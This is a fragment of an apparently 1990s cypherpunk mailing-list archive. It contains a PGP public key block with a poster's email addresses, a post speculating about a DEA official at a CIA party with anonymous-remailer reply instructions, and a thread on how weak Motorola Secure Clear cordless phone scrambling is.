d4qjDuT7Jyc= =GcJ2 -----END PGP SIGNATURE----- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6 mQCPAy7JYr8AAAEEAJ4GpoYcH5abkSq5FZQ9LxoP9oKKQDXHRGZT8QCcnVZ8o87H p9kEaUJIyzGbMHpO7C09qShwcrII2VfCZ77iWlBglmdLEa/dKXRCSWMFF52RcSDh zJF8m0wE2SZ9x4Y6KuXM3RwJVdEKLhsAImxckvfj0UBvb5xtJ6JTibhK6XY5ABEB AAG0LU1pY2hhZWwgRC4gQ3Jhd2ZvcmQgPGNyYXdmb3JkQHNjaXBwLnVjc2MuZWR1 PokAlQMFEC7JZBeiU4m4Sul2OQEBpFID/jz5/tGopduwskgTHxvQDRe4D/rvUHov s+ILcFLmQyFC0iVHEWWBMtSnTcPZOVsTKqhonDAiMTvWTf5XaszvXZYaIOVBJGO2 tTbX9AM3NtkLjyv6lQE7tssd7/XoQPy2CxI40f7sMh1AbDq43W/hpOI6TYfGAMcZ rdGMR7But9bb =kSZf -----END PGP PUBLIC KEY BLOCK----- Michael D. Crawford crawford(a)scruznet.com <- Please note change of address. crawford(a)maxwell.ucsc.edu <- Finger me here for PGP Public Key.

1 0

A disturbing story
by Tommy the Tourist 17 Dec '03

17 Dec '03

Check out the story "CIA to pay $410 000 to maligned female officer" in Thursday's SF Chronicle (http://sfgate.com/new/schron/dec-08-94/mn1199.html) The interesting part isn't the stuff about sexual harassment. The interesting thing were paragraphs 8 and 9: >For example, Brookner was accused by the CIA's inspector general of >drunkenly pawing a male subordinate at a 1990 Christmas party at her home in >Jamaica. > >But the government lawyers defending the CIA then said that the man was not >a subordinate, but a high-ranking Drug Enforcement Administration official >who attended the party. Why would there be a high-ranking DEA official at a CIA Christmas party? Hmmm. ------------ To respond to the sender of this message, send mail to remailer(a)soda.berkeley.edu, starting your message with the following 7 lines: :: Response-Key: the-clipper-key ====Encrypted-Sender-Begin==== MI@```%)^&2?(E<U9BPG1]W7L'=BKH_SDP7C2:5S'2.B1&AR&I&.:9!Q-P\`[ JR2DDD23UQW!;%%Y6*I5:)V7Q'1%\+JL1;81D]T6N[A?NEU1/;\BPJ\$W ====Encrypted-Sender-End====

2 1

Re: Moto Secure Clear digital?
by Claborne, Chris 17 Dec '03

17 Dec '03

I got one a while back and I don't like it. The range is poor and the sound quality is not all that great. A novice newby can't break it but anyone with experience can. I've seen posts on how it works but can't remember. AT&T has some kind of security feature on their 900Mhz phone but I haven't looked into it. 2 -- C -- >From: Jonathan Cooper <entropy(a)IntNet.net> >--------------------------------------------------------------------------- --- >> I just got a second phone line, and decided that if I was going to get a >2-line >> phone it might as well be a good one, so I am considering a Motorola Secure >> Clear cordless 2-line phone with speakerphone. This will be quite an >investment,so I was wondering whether the Secure Clear phones are digitally >encrypted or >> merely scrambled using some analog method. Anybody know about this? How >secure >> are these phones really? --Wes > > As I understand it the system is a cheezy form of frequency >inversion. It'll stop your neighbors with a scanner, but that's about it. > >-jon > >( --------[ Jonathan D. Cooper ]--------[ entropy(a)intnet.net ]-------- ) >( PGP 2.6.2 keyprint: 31 50 8F 82 B9 79 ED C4 5B 12 A0 35 E0 9B C0 01 ) > >

1 0